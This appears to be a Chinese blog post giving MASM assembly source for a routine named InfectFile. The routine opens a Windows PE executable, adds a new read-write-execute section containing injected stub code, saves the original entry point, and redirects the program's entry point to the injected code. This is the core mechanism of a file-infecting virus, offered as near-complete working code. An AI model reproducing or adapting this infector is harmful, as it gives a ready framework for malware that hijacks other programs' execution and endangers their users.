为PE文件添加节(汇编代码)

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib

;##########
InfectFile proto :dword
;#########
.code

;###############插入代码############################
VStart:
call abc
abc: pop ebp
sub ebp,offset abc
xor eax,eax
add eax,[ebp+HostEntry]
jmp eax
HostEntry dd ?
VEnd:
;######################################################

filename db f:/a.exe ;添加目标文件
write db 0

;################添加节的操作过程###########################
InfectFile proc _filename:dword
local hFile
local hMapping
local pMapping
local @dwAddCodeFile
local @dwAddCodeBase
local @dwEntry
;#######################打开文件##########################################################
invoke CreateFile,_filename,\\
GENERIC_READ+GENERIC_WRITE,\\
FILE_SHARE_READ+FILE_SHARE_WRITE,\\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax == INVALID_HANDLE_VALUE
jmp exit2
.endif
mov hFile,eax
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0
mov hMapping,eax
invoke MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0
mov pMapping,eax
;########################找到pe头#########################################################
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER
cmp word ptr [esi],IMAGE_DOS_SIGNATURE
jnz Exit
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
cmp dword ptr [esi],IMAGE_NT_SIGNATURE
jnz Exit
;#######################添加新节##########################################################
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
add eax,[esi].OptionalHeader.ImageBase
mov HostEntry,eax ;保存原程序入口地址
;判断是否能够有空间插入新节
movzx eax,[esi].FileHeader.NumberOfSections
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
add eax,sizeof IMAGE_NT_HEADERS
add eax,esi
mov edi,eax
add eax,sizeof IMAGE_SECTION_HEADER
sub eax,pMapping
cmp eax,[esi].OptionalHeader.SizeOfHeaders
ja Exit
;添加新节,edi为新节
inc [esi].FileHeader.NumberOfSections
mov ebx,edi
sub ebx,28h
assume edi:ptr IMAGE_SECTION_HEADER ;新节
assume ebx:ptr IMAGE_SECTION_HEADER ;旧节
mov dword ptr[edi],\'fh.\'
;#########################################################
;VirtualSize等于插入代码按SectionAlignment值对齐
push offset VEnd-offset VStart
pop [edi].Misc.VirtualSize

;SizeOfRawData=插入代码长度按FileAlignment值对齐
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
;PointerToRawData

mov eax,[ebx].PointerToRawData ;上一节的PointerToRawData
add eax,[ebx].SizeOfRawData ;上一节的SizeOfRawData
mov [edi].PointerToRawData,eax ;PointerToRawData=前两个值相加
mov [edi].Characteristics,0E0000020h ;节属性设置为可读可写可执行
;AddressOfEntryPoint,使新节可以正确加载并首先执行
mov eax,[ebx].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebx].VirtualAddress
mov [edi].VirtualAddress,eax
;############修改入口地址################################################
push [edi].VirtualAddress
pop [esi].OptionalHeader.AddressOfEntryPoint
;更新SizeOfImage
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[esi].OptionalHeader.SizeOfImage
mov [esi].OptionalHeader.SizeOfImage,eax
;写入新节
invoke SetFilePointer,hFile,0,0,FILE_END
invoke WriteFile,hFile,offset VStart,[edi].SizeOfRawData,offset write,0
;########################结束#############################################################
Exit: invoke UnmapViewOfFile,pMapping
invoke CloseHandle,hMapping
exit2: invoke CloseHandle,hFile
ret
InfectFile endp
start:

invoke InfectFile,offset filename
invoke ExitProcess,NULL

end start



文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 8146